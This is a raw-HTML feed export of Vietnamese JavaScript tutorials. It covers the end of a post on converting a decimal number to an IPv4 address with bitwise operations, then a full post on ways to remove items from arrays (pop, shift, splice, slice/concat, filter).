href="#tri%E1%BB%83n-khai-convert-decimal-sang-ipv4-%C4%91%E1%BA%A7y-%C4%91%E1%BB%A7" aria-label="triển khai convert decimal sang ipv4 đầy đủ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai convert Decimal sang IPv4 đầy đủ</h3> <p>Tổng hợp những điều trên lại, mình viết được đoạn code đầy đủ như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">/** * Convert Decimal to IPv4 * @param {Number} decimal - a Number represents a Decimal * @returns an IPv4 as String if the input is valid. * Otherwise, it returns an empty string (""). */</span> <span class="token keyword">function</span> <span class="token function">convertDecimalToIPv4</span><span class="token punctuation">(</span><span class="token parameter">decimal</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token keyword">typeof</span> decimal <span class="token operator">!==</span> <span class="token string">"number"</span> <span class="token operator">||</span> Number<span class="token punctuation">.</span><span class="token function">isInteger</span><span class="token punctuation">(</span>decimal<span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token boolean">false</span> <span class="token operator">||</span> decimal <span class="token operator">&lt;</span> <span class="token number">0</span> <span class="token operator">||</span> decimal <span class="token operator">></span> <span class="token number">4294967295</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">const</span> p1 <span class="token operator">=</span> decimal <span class="token operator">>>></span> <span class="token number">24</span><span class="token punctuation">;</span> <span class="token keyword">const</span> p2 <span class="token operator">=</span> <span class="token punctuation">(</span>decimal <span class="token operator">&amp;</span> <span class="token number">0x00ff0000</span><span class="token punctuation">)</span> <span class="token operator">>>></span> <span class="token number">16</span><span class="token punctuation">;</span> <span class="token keyword">const</span> p3 <span class="token operator">=</span> <span class="token punctuation">(</span>decimal <span class="token operator">&amp;</span> <span class="token number">0x0000ff00</span><span class="token punctuation">)</span> <span class="token operator">>>></span> <span class="token number">8</span><span class="token punctuation">;</span> <span class="token keyword">const</span> p4 <span class="token operator">=</span> decimal <span class="token operator">&amp;</span> <span class="token number">0x000000ff</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>p1 <span class="token operator">></span> <span class="token number">255</span> <span class="token operator">||</span> p2 <span class="token operator">></span> <span class="token number">255</span> <span class="token operator">||</span> p3 <span class="token operator">></span> <span class="token number">255</span> <span class="token operator">||</span> p4 <span class="token operator">></span> <span class="token number">255</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>p1<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">.</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>p2<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">.</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>p3<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">.</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>p4<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, mình có kiểm tra điều kiện cơ bản của số Decimal đầu vào. Tiếp theo, mình thực hiện phép <strong>AND</strong> và dịch bit để thu được các octet. Cuối cùng, mình sử dụng <a href="/su-dung-es6-template-string-co-gi-hay/">ES6 Template String</a> để hợp các octet lại thành giá trị IPv4.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách mình convert IPv4 sang Decimal và ngược lại, convert Decimal sang IPv4. Theo bạn, cách giải thích của mình có dễ hiểu không? Code trên đã tối ưu hay chưa? Mình rất mong nhận được sự góp ý của bạn để hoàn thiện các giải pháp trên.</p> <blockquote> <p>Ngoài ra, mình rất trân trọng sự đóng góp của bạn vào <a href="https://github.com/jscenter/vanilla-js-snippets">project mã nguồn mở</a> này trên Github. Vì mình tin rằng project này sẽ đem lại lợi ích to lớn cho bạn và mọi người sau này.</p> </blockquote> <p>Cuối cùng, xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Remove item in Array JavaScript]]><![CDATA[Remove item in Array JavaScript là một bài toán mà hầu hết mọi người đều gặp phải khi lập trình JavaScript. Để giải quyết bài toán này, JavaScript cung cấp rất nhiều giải pháp khác…]]>https://completejavascript.com/remove-item-in-array-javascript/https://completejavascript.com/remove-item-in-array-javascript/<![CDATA[Array]]>Wed, 03 Jan 2018 06:00:07 GMT<p><strong>Remove item in Array JavaScript</strong> là một bài toán mà hầu hết mọi người đều gặp phải khi lập trình JavaScript. Để giải quyết bài toán này, JavaScript cung cấp rất nhiều giải pháp khác nhau. Mỗi giải pháp lại có một ưu, nhược điểm riêng và phù hợp với từng bài toán cụ thể. Vì vậy, bài viết này sẽ tổng hợp lại các cách để loại bỏ một hoặc nhiều phần tử ra khỏi <a href="/array-la-gi-array-trong-javascript/">Array</a> trong JavaScript.</p> <p>Về cơ bản, các cách mà mình trình bày sau đây sẽ được chia ra làm 2 loại:</p> <ul> <li><strong>Mutable ways</strong>: làm thay đổi mảng gốc</li> <li><strong>Immutable ways</strong>: không làm thay đổi mảng gốc (phù hợp với <strong>Functional Programming</strong>)</li> </ul> <p>Về chi tiết, mời bạn theo dõi bài viết!</p> <h2 id="remove-item-in-array-javascript-theo-mutable-ways" style="position:relative;"><a href="#remove-item-in-array-javascript-theo-mutable-ways" aria-label="remove item in array javascript theo mutable ways permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Remove item in Array JavaScript theo mutable ways</h2> <h3 id="loại-bỏ-phần-tử-cuối-cùng-với-pop" style="position:relative;"><a href="#lo%E1%BA%A1i-b%E1%BB%8F-ph%E1%BA%A7n-t%E1%BB%AD-cu%E1%BB%91i-c%C3%B9ng-v%E1%BB%9Bi-pop" aria-label="loại bỏ phần tử cuối cùng với pop permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Loại bỏ phần tử cuối cùng với pop()</h3> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop">pop()</a> loại bỏ phần tử cuối cùng của mảng và trả về giá trị phần tử đó. Nếu mảng rỗng thì giá trị trả về sẽ là <strong>undefinded</strong>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (4) ["a", "b", "c", "d"]</span> <span class="token keyword">const</span> item <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (3) ["a", "b", "c"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => d</span></code></pre></div> <h3 id="loại-bỏ-phần-tử-đầu-tiên-với-shift" style="position:relative;"><a href="#lo%E1%BA%A1i-b%E1%BB%8F-ph%E1%BA%A7n-t%E1%BB%AD-%C4%91%E1%BA%A7u-ti%C3%AAn-v%E1%BB%9Bi-shift" aria-label="loại bỏ phần tử đầu tiên với shift permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Loại bỏ phần tử đầu tiên với shift()</h3> <p>Phương thức <a href="https://developer.mozilla.org/vi/docs/Web/JavaScript/Reference/Global_Objects/Array/shift">shift()</a> loại bỏ phần tử đầu tiên của mảng và trả về giá trị phần tử đó. Nếu mảng rỗng thì giá trị trả về sẽ là <strong>undefinded</strong>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (4) ["a", "b", "c", "d"]</span> <span class="token keyword">const</span> item <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">shift</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (3) ["b", "c", "d"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => a</span></code></pre></div> <h3 id="loại-bỏ-một-hay-nhiều-phần-tử-tại-vị-trí-xác-định-với-splice" style="position:relative;"><a href="#lo%E1%BA%A1i-b%E1%BB%8F-m%E1%BB%99t-hay-nhi%E1%BB%81u-ph%E1%BA%A7n-t%E1%BB%AD-t%E1%BA%A1i-v%E1%BB%8B-tr%C3%AD-x%C3%A1c-%C4%91%E1%BB%8Bnh-v%E1%BB%9Bi-splice" aria-label="loại bỏ một hay nhiều phần tử tại vị trí xác định với splice permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Loại bỏ một hay nhiều phần tử tại vị trí xác định với splice()</h3> <p>Thực tế, phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">splice()</a> không chỉ loại bỏ một hay nhiều phần tử của Array mà nó còn có thể thêm phần tử vào Array. Tuy nhiên, trong phạm vi bài viết này, mình sẽ chỉ đề cập tới vấn đề loại bỏ phần tử khỏi Array.</p> <p>Cú pháp sử dụng <strong>splice()</strong> để loại bỏ phần tử của Array Javascript là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">array<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span>start<span class="token punctuation">,</span> deleteCount<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li><strong>start</strong>: đơn giản là vị trí phần tử bắt đầu bị loại bỏ khỏi mảng.</li> <li><strong>deleteCount</strong>: là số lượng phần tử bị loại bỏ.</li> <li><strong>Giá trị trả về</strong> chính là mảng các phần tử bị loại bỏ.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (4) ["a", "b", "c", "d"]</span> <span class="token keyword">const</span> removed <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (2) ["a", "d"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>removed<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (2) ["b", "c"]</span></code></pre></div> <p>Trong đoạn code trên, câu lệnh <strong>arr.splice(1, 2)</strong> loại bỏ phần tử khỏi mảng bắt đầu từ vị trí có chỉ số là 1 (ứng với 'b') và số phần tử bị loại bỏ là 2. Do đó, 2 phần tử bị loại bỏ sẽ là 'b' và 'c'.</p> <p>Vì vậy, mảng các phần tử bị loại bỏ là <strong>["b", "c"]</strong> và mảng ban đầu trở thành <strong>["a", "d"]</strong>.</p> <h2 id="remove-item-in-array-javascript-theo-immutable-ways" style="position:relative;"><a href="#remove-item-in-array-javascript-theo-immutable-ways" aria-label="remove item in array javascript theo immutable ways permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Remove item in Array JavaScript theo immutable ways</h2> <h3 id="loại-bỏ-phần-tử-trong-mảng-dựa-vào-chỉ-số-với-slice-và-concat" style="position:relative;"><a href="#lo%E1%BA%A1i-b%E1%BB%8F-ph%E1%BA%A7n-t%E1%BB%AD-trong-m%E1%BA%A3ng-d%E1%BB%B1a-v%C3%A0o-ch%E1%BB%89-s%E1%BB%91-v%E1%BB%9Bi-slice-v%C3%A0-concat" aria-label="loại bỏ phần tử trong mảng dựa vào chỉ số với slice và concat permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Loại bỏ phần tử trong mảng dựa vào chỉ số với slice() và concat()</h3> <p>Giả sử mình cần loại bỏ 1 phần tử ở chỉ số <strong>i</strong> khỏi mảng <strong>arr</strong>. Khi đó, ý tưởng để giải quyết bài toán này là: mình sẽ sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice">slice()</a> 2 lần để copy từ mảng ban đầu ra 2 mảng con mới (không làm thay đổi mảng ban đầu).</p> <p>Lần thứ nhất, mình copy ra các phần tử từ vị trí <strong>0</strong> đến vị trí <strong>i - 1</strong>. Lần thứ hai, mình copy ra các phần tử từ vị trí <strong>i + 1</strong> đến <strong>phần tử cuối cùng</strong>.</p> <p>Sau đó, mình sẽ sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat">concat()</a> để ghép 2 mảng con đó lại thành 1 mảng duy nhất thỏa mãn yêu cầu bài toán.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (5) ["a", "b", "c", "d", "e"]</span> <span class="token keyword">const</span> i <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token keyword">const</span> a1 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> a2 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span>i <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">,</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> new_arr <span class="token operator">=</span> a1<span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span>a2<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (5) ["a", "b", "c", "d", "e"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>new_arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (4) ["a", "b", "d", "e"]</span></code></pre></div> <p>Ngoài ra, bạn có thể sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">spread operator</a> để ghép 2 array lại với nhau như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> new_arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>a1<span class="token punctuation">,</span> <span class="token operator">...</span>a2<span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Trên đây là cách loại bỏ một phần tử khỏi mảng, tuy nhiên bạn cũng có thể áp dụng nó để loại bỏ nhiều phần tử dựa vào chỉ số và số lượng phần tử.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (5) ["a", "b", "c", "d", "e"]</span> <span class="token keyword">const</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">const</span> amount <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token keyword">const</span> a1 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> a2 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span>i <span class="token operator">+</span> amount<span class="token punctuation">,</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> new_arr <span class="token operator">=</span> a1<span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span>a2<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (5) ["a", "b", "c", "d", "e"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>new_arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (3) ["a", "d", "e"]</span></code></pre></div> <p>Đoạn code trên loại bỏ 2 phần tử từ vị trí có chỉ số 1 trong mảng, đó là "b" và "c".</p> <h3 id="loại-bỏ-phần-tử-trong-mảng-dựa-vào-giá-trị-với-filter" style="position:relative;"><a href="#lo%E1%BA%A1i-b%E1%BB%8F-ph%E1%BA%A7n-t%E1%BB%AD-trong-m%E1%BA%A3ng-d%E1%BB%B1a-v%C3%A0o-gi%C3%A1-tr%E1%BB%8B-v%E1%BB%9Bi-filter" aria-label="loại bỏ phần tử trong mảng dựa vào giá trị với filter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Loại bỏ phần tử trong mảng dựa vào giá trị với filter()</h3> <p>Trong trường hợp bạn biết giá trị của phần tử muốn loại bỏ khỏi mảng thì có thể sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter">filter()</a>. Phương thức này sẽ tạo ra một mảng mới chứa tất cả những phần tử thỏa mãn testing <a href="/ham-la-gi-ham-trong-javascript/">function</a>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (5) ["a", "b", "c", "d", "e"]</span> <span class="token keyword">const</span> valueToRemove <span class="token operator">=</span> <span class="token string">"b"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> new_arr <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> item <span class="token operator">!==</span> valueToRemove<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (5) ["a", "b", "c", "d", "e"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>new_arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (4) ["a", "c", "d", "e"]</span></code></pre></div> <p>Đoạn code trên sẽ tạo ra một mảng mới bao gồm các phần tử có giá trị khác với giá trị cần remove là "b". Dĩ nhiên, bạn có thể dùng cách này để loại bỏ nhiều phần tử.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (5) ["a", "b", "c", "d", "e"]</span> <span class="token keyword">const</span> valuesToRemove <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> new_arr <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token operator">!</span>valuesToRemove<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (5) ["a", "b", "c", "d", "e"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>new_arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (3) ["a", "c", "d"]</span></code></pre></div> 